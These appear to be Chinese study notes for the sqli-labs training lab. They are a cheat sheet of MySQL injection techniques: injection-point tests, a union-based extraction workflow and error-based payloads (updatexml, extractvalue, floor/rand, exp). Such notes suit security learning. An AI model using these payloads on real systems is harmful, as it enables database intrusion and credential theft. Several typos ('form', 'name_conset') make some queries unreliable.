sqli-labs-Summarize-Less-1-22(Basic-Injections)
重要的系统数据库
mysql.user 存储MySQL数据库的用户及用户权限信息
and (select count(*) from mysql.user)> 判断是否具有读写权限
information_schema.user_privileges存储mysql中所有数据库的权限信息
information_schema.schemate 存储mysql中所有的数据库
遍历查询系统中所有数据库名
select schema_name from information_schema.schemata limit 0,1
information_schema.tables 存储mysql中所有数据库的表
遍历查询数据库中所有的表名
select table_name from information_schema.tables where table_schema='security' limit 0,1
information_schema.columns存储mysql中所有数据库的列
遍历查询表中所有的列名
select column_name form information_schema.columns where table_name='users' limit 0,1
遍历查询表中的数据
select password from security.users limit 0,1
常用操作
常用语句
select 用于输出信息
select 列名|(数字|字符串|函数)as 别名(as可以省略)[from ...]
union 联合操作符,要求前后列数相同,数据类型相差不大
group by 分组
order by 排序,常用于猜解字段数
order by 列名|序列号
sql的switch语句
case expr when a then a** when b then b* else c* end
if 函数,当expr1为真返回expr2否则返回expr3
if(expr1,expr2,expr3)
常用函数(获取系统信息)
system_user() /*系统用户名
user() /*用户名
current_user() /*当前用户名
session_user() /*连接数据库的用户名
database() /*数据库名
version() /*MYSQL数据库版本
load_file() /*MYSQL读取本地文件的函数
@@datadir /*读取数据库路径
@@basedir MYSQL /*安装路径
@@version_compile_os /*操作系统
常用字符串函数
concat() /*连接字符串
group_concat()
concat_ws() /*连接字符串,第一个参数为分隔符
char() /*获得字符串
left(str, len) /*截取str左边len位
right(str, len) /*截取str右边len位
substring(str, pos, len) /*截取字符串
rand() /*生成0至1的随机数
floor(n) /*向下取整
name_conset(column_name, value) /*用来产生一个结果集合
sleep(seconds) 停止seconds秒,用于time-based盲注
benchmark(times, function) 将function执行times次,该函数可用于time-based盲注,例如(benchmark(500000, encode(‘a’,’b')))
encode(str, passwd_str) 使用passwd_str加密str函数
判断是否可以注入
使用标点符号(单引号,双引号,括号)判断注入,例如:
http://aaa.com/s.php?id=1'
如果返回页面提示syntax error,则说明有漏洞
通过附加逻辑运算判断注入,例如:
http://aaa.com/s.php?id=1 and 1=1/and 1=2
and 1=1有返回,and 1=2无返回
通过算数运算判断注入点,例如:
http://aaa.com/s.php?id=11-1
通过select语句判断注入点,例如:
http://aaa.com/s.php?id=(select 10)
通过时间函数判断注入点,例如:
http://aaa.com/s.php?id=2 and sleep(10)
或者http://aaa.com/s.php?id=2 and benchmark(500000, encode('msg','bbb'))
常规注入流程
猜解列数
order by n /*(注释符 /* # --)
查询mysql基本信息(假设数据库表有7列)
and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*
例如:select * from sedb.site_tb where 1=2 union select 1,2,concat_ws(char(32,58,32),0x7c,user(),database(),version());
查询mysql数据库中有哪些数据库(注意使用limit限制查询的范围)
and 1=2 union select 1,schema_name,3,4 from information_schema.schemata/*
and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*
例如:select * from site_tb where 1=2 union select 1, 2, group_concat(schema_name) from information_schema.schemata;
查询某个数据库中有哪些表(数据库名可能需要16进制)
and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库名
and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库名
例如:select * from site_tb where 1=2 union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='sedb';
查询某个表中有哪些字段(表名、数据库名可能需要16进制)
and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名 and table_schema=数据库名 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名 and table_schema=数据库名/*
例如:select * from site_tb where 1=2 union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='site_tb' and table_schema='sedb';
查询数据:
and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/*
MySql报错注入
假设查询语句为:
select name,password from test.user where id={参数}
{参数}:按照mysql语法,where后可以跟and、union,因此可以1 and (select )以及1 union select 来触发报错注入
因此插入报错语句位置如下:
select colum1,colum2 from table where id={0} and {1} union {2}
使用floor/left/right:
select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a;
select 1 from (select concat(user(),left(rand(),3)),count(*) from information_schema.tables group by 1)a;
select 1 from (select concat(user(),right(rand(),3)),count(*) from information_schema.tables group by 1)a;
例如:
select name,password from user where id=1 union select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a
ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'
使用name_const:
select 1 from (select name_const(version(),1),name_const(version(),1))x
例如:
select name,password from test.user where id=1 union select 1 from (select name_const(version(),1), name_const(version(), 1))x;
使用updatexml:
updatexml(1,concat(0x3a,user()),1)
例如:
select name,password from test.user where id=2 and updatexml(1,concat(0x3a,user()),1);
使用extractvalue:
extractvalue(1, concat(0x5c,version()))
例如:
select name,password from test.user where id=2 and extractvalue(1, concat(0x5c, version()));
使用exp:
exp(~(select*from(select user())x))
例如:
select name,password from test.user where id=exp(~(select*from(select user())x));
使用GeometryCollection:
GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from (select * from(select user())a)b))
multipoint((select * from (select * from(select user())a)b))
multilinestring((select * from (select * from(select user())a)b))
multipolygon((select * from (select * from(select user())a)b))
linestring((select * from (select * from(select user())a)b))
例如:
select name,password from test.user where id=2 and GeometryCollection((select * from (select * from(select user())a)b));